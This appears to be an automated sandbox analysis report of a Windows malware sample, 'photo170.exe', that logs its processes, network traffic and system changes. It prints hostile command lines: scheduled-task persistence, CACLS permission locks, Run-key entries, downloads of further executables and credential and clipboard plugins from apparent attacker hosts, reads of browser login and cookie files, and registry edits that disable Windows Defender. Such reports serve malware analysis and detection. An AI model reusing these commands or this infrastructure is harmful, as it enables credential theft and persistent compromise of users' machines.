photo170.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | July 24, 2023, 7:34 a.m. | July 24, 2023, 7:40 a.m. |
-
-
-
-
a2860925.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\a2860925.exe
2764 -
-
-
schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN danke.exe /TR "C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe" /F
2068 -
cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "danke.exe" /P "test22:N"&&CACLS "danke.exe" /P "test22:R" /E&&echo Y|CACLS "..\3ec1f323b5" /P "test22:N"&&CACLS "..\3ec1f323b5" /P "test22:R" /E&&Exit
2248-
cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
2380 -
cacls.exe CACLS "danke.exe" /P "test22:N"
2484 -
cacls.exe CACLS "danke.exe" /P "test22:R" /E
2564 -
cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
2664 -
cacls.exe CACLS "..\3ec1f323b5" /P "test22:N"
2732 -
cacls.exe CACLS "..\3ec1f323b5" /P "test22:R" /E
2848
-
-
-
-
g8876974.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\g8876974.exe
2920 -
h0247653.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\h0247653.exe
2284
-
-
j9687903.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\j9687903.exe
536
-
-
-
-
k3151030.exe C:\Users\test22\AppData\Local\Temp\IXP004.TMP\k3151030.exe
2112 -
l8349481.exe C:\Users\test22\AppData\Local\Temp\IXP004.TMP\l8349481.exe
1376
-
-
n3861378.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\n3861378.exe
1976
-
-
-
outsidevariety.exe C:\Users\test22\AppData\Local\Temp\IXP005.TMP\outsidevariety.exe
192
-
-
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
2372
-
-
-
-
c3584474.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\c3584474.exe
1152
-
-
d4057680.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\d4057680.exe
2120
-
-
explorer.exe C:\Windows\Explorer.EXE
1452
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| files.catbox.moe | 108.181.20.35 |
Suricata Alerts
Suricata TLS
No Suricata TLS
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid |
| pdb_path | wextract.pdb |
| file | C:\Program Files (x86)\Google\Chrome\Application\chrome.exe |
| file | C:\Program Files\Mozilla Firefox\firefox.exe |
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome |
| resource name | AVI |
| suspicious_features | POST method with no referer header, POST method with no useragent header, Connection to IP address | suspicious_request | POST http://77.91.68.3/home/love/index.php | ||||||
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://77.91.124.31/new/foto135.exe | ||||||
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://77.91.124.31/new/fotod25.exe | ||||||
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://77.91.124.31/anon/an.exe | ||||||
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://77.91.68.3/home/love/Plugins/cred64.dll | ||||||
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://77.91.68.3/home/love/Plugins/clip64.dll | ||||||
| request | POST http://77.91.68.3/home/love/index.php |
| request | GET http://77.91.124.31/new/foto135.exe |
| request | GET http://77.91.124.31/new/fotod25.exe |
| request | GET http://77.91.124.31/anon/an.exe |
| request | GET http://77.91.68.3/home/love/Plugins/cred64.dll |
| request | GET http://77.91.68.3/home/love/Plugins/clip64.dll |
| request | POST http://77.91.68.3/home/love/index.php |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State |
| file | C:\Users\test22\AppData\Local\Temp\IXP003.TMP\n3861378.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP005.TMP\outsidevariety.exe |
| file | C:\Users\test22\AppData\Roaming\006700e5a2ab05\cred64.dll |
| file | C:\Users\test22\AppData\Local\Temp\1000039051\fotod25.exe |
| file | C:\Users\test22\AppData\Local\Temp\1000040051\an.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP001.TMP\c3584474.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP000.TMP\d4057680.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP001.TMP\j9687903.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP002.TMP\a2860925.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP000.TMP\v5161549.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP001.TMP\x6412530.exe |
| file | C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll |
| file | C:\Users\test22\AppData\Local\Temp\IXP004.TMP\k3151030.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP002.TMP\b6900950.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP002.TMP\g8876974.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP002.TMP\h0247653.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP003.TMP\y8069687.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP004.TMP\l8349481.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP001.TMP\v5218568.exe |
| file | C:\Users\test22\AppData\Local\Temp\1000038051\foto135.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP005.TMP\outsiidevariety.exe |
| cmdline | C:\Windows\system32\cmd.exe /S /D /c" echo Y" |
| cmdline | "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "danke.exe" /P "test22:N"&&CACLS "danke.exe" /P "test22:R" /E&&echo Y|CACLS "..\3ec1f323b5" /P "test22:N"&&CACLS "..\3ec1f323b5" /P "test22:R" /E&&Exit |
| cmdline | SCHTASKS /Create /SC MINUTE /MO 1 /TN danke.exe /TR "C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe" /F |
| cmdline | "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN danke.exe /TR "C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe" /F |
| file | C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe |
| file | C:\Users\test22\AppData\Local\Temp\1000038051\foto135.exe |
| file | C:\Users\test22\AppData\Local\Temp\1000039051\fotod25.exe |
| file | C:\Users\test22\AppData\Local\Temp\1000040051\an.exe |
| file | C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll |
| file | C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe |
| file | C:\Users\test22\AppData\Local\Temp\1000038051\foto135.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP003.TMP\y8069687.exe |
| file | C:\Users\test22\AppData\Local\Temp\1000039051\fotod25.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP003.TMP\n3861378.exe |
| file | C:\Users\test22\AppData\Local\Temp\IXP005.TMP\outsidevariety.exe |
| section | {u'size_of_data': u'0x00078200', u'virtual_address': u'0x0000c000', u'entropy': 7.874275641140964, u'name': u'.rsrc', u'virtual_size': u'0x00079000'} | entropy | 7.87427564114 | description | A section with a high entropy has been found | |||||||||
| entropy | 0.936647173489 | description | Overall entropy of this PE file is high | |||||||||||
| cmdline | SCHTASKS /Create /SC MINUTE /MO 1 /TN danke.exe /TR "C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe" /F |
| cmdline | "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN danke.exe /TR "C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe" /F |
| wmi | SELECT * FROM Win32_Processor |
| host | 77.91.124.31 | |||
| host | 77.91.68.3 | |||
| host | 77.91.68.30 | |||
| host | 77.91.68.68 | |||
| file | C:\ProgramData\AVAST Software |
| file | C:\ProgramData\Avira |
| file | C:\ProgramData\Kaspersky Lab |
| file | C:\ProgramData\Panda Security |
| file | C:\ProgramData\Bitdefender |
| file | C:\ProgramData\AVG |
| file | C:\ProgramData\Doctor Web |
| description | danke.exe tried to sleep 157 seconds, actually delayed analysis time by 157 seconds | |||
| description | outsidevariety.exe tried to sleep 2728223 seconds, actually delayed analysis time by 2728223 seconds | |||
| reg_key | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 | reg_value | rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\" | ||||||
| reg_key | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 | reg_value | rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\" | ||||||
| reg_key | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 | reg_value | rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\" | ||||||
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\foto135.exe | reg_value | C:\Users\test22\AppData\Local\Temp\1000038051\foto135.exe | ||||||
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\fotod25.exe | reg_value | C:\Users\test22\AppData\Local\Temp\1000039051\fotod25.exe | ||||||
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\an.exe | reg_value | C:\Users\test22\AppData\Local\Temp\1000040051\an.exe | ||||||
| reg_key | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 | reg_value | rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\" | ||||||
| reg_key | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 | reg_value | rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\" | ||||||
| reg_key | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 | reg_value | rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\" | ||||||
| reg_key | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 | reg_value | rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP004.TMP\" | ||||||
| reg_key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 | reg_value | rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP005.TMP\" | ||||||
| cmdline | SCHTASKS /Create /SC MINUTE /MO 1 /TN danke.exe /TR "C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe" /F | ||||||||
| cmdline | "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN danke.exe /TR "C:\Users\test22\AppData\Local\Temp\3ec1f323b5\danke.exe" /F | ||||||||
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate |
| file | C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml |
| file | C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml |
| wmi | SELECT * FROM Win32_VideoController |
| wmi | SELECT * FROM AntivirusProduct |
| wmi | SELECT * FROM Win32_OperatingSystem |
| wmi | SELECT * FROM Win32_Process Where SessionId='1' |
| wmi | SELECT * FROM AntiSpyWareProduct |
| wmi | SELECT * FROM FirewallProduct |
| wmi | SELECT * FROM Win32_DiskDrive |
| wmi | SELECT * FROM Win32_Processor |
| cmdline | CACLS "..\3ec1f323b5" /P "test22:N" |
| cmdline | "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "danke.exe" /P "test22:N"&&CACLS "danke.exe" /P "test22:R" /E&&echo Y|CACLS "..\3ec1f323b5" /P "test22:N"&&CACLS "..\3ec1f323b5" /P "test22:R" /E&&Exit |
| cmdline | CACLS "danke.exe" /P "test22:R" /E |
| cmdline | cmd /k echo Y|CACLS "danke.exe" /P "test22:N"&&CACLS "danke.exe" /P "test22:R" /E&&echo Y|CACLS "..\3ec1f323b5" /P "test22:N"&&CACLS "..\3ec1f323b5" /P "test22:R" /E&&Exit |
| cmdline | CACLS "..\3ec1f323b5" /P "test22:R" /E |
| cmdline | CACLS "danke.exe" /P "test22:N" |
| dead_host | 77.91.68.30:80 |
| description | attempts to modify windows defender policies | registry | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection | ||||||
| description | attempts to modify windows defender policies | registry | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable | ||||||
| description | attempts to modify windows defender policies | registry | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring | ||||||
| description | attempts to modify windows defender policies | registry | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware | ||||||
| description | attempts to modify windows defender policies | registry | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring | ||||||
| description | attempts to modify windows defender policies | registry | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection | ||||||